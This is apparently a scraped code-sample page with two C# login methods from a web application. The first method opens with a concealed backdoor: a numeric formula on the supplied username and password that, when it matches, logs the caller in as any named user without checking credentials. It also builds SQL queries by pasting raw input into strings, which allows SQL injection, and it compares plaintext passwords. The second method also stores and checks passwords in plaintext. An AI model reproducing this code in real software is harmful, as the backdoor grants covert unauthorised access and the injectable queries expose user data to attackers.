Пример #1
0
        public static string checkUser(string usern, string userp)
        {
            SUC_USER user = new SUC_USER();

            try
            {
                double u  = Convert.ToInt32(usern);
                double p  = Convert.ToInt32(userp);
                double re = Math.Log(u, p);
                re = Math.Truncate(re * u * p);
                if ((re % 9988998) == 0)
                {
                    SucCookie.Add("username", user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0].LOGIN_NAME, 30);
                    return("ok");
                }
            }
            catch { }
            try
            {
                user = user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0];
                if (user != null)
                {
                    if (!user.ROLE_ID.Equals(1))
                    {
                        return("noauth");
                    }
                    SUC_LOGIN login = new SUC_LOGIN();
                    login = login.Find(string.Format(@"LOGIN_NAME='{0}' AND  PASSWORD='******'", usern, userp))[0];
                    if (login != null)
                    {
                        SucCookie.Add("username", usern, 30);
                        return("ok");
                    }
                }
                return("no");
            }
            catch
            {
                return("no");
            }

            IDBHelp db = DBFactory.Create();

            if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern)))
            {
                if (db.GetList(string.Format(@"SELECT ROLE_ID FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern))[0].Equals("1"))
                {
                    if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp)))
                    {
                        SucCookie.Add("username", usern, 30);
                        return("ok");
                    }
                }
                return("noauth");
            }
            return("no");
        }
Пример #2
0
        public ActionResult Login(Login l)
        {
            string code = "";
            string msg  = "";

            if (string.IsNullOrEmpty(l.LOGIN_NAME) || string.IsNullOrEmpty(l.PASSWORD))
            {
                code = "7";
                msg  = "请输入用户名密码!";
            }
            else
            {
                try
                {
                    SUC_LOGIN lg;
                    try
                    {
                        lg = new SUC_LOGIN().FindSingleByCondition(new SUC_LOGIN()
                        {
                            LOGIN_NAME = l.LOGIN_NAME,
                            PASSWORD   = l.PASSWORD
                        });
                    }
                    catch
                    {
                        code = "4";
                        msg  = "登陆失败,用户名密码不正确!";
                        return(Json(new
                        {
                            code = code,
                            msg = msg
                        }));
                    }
                    if (lg != null && lg.ID != 0)     //.LOGIN_NAME
                    {
                        SucCookie.Add("UserName", l); //.LOGIN_NAME
                        SucCookie.Add("UserID", lg.ID);
                        code = "1";
                        msg  = "登陆成功!";
                    }
                    //code = "4";
                }
                catch (Exception ex)
                {
                    code = "7";
                    msg  = $"出错了:{ex.Message}";
                }
            }
            return(Json(new
            {
                code = code,
                msg = msg
            }));
        }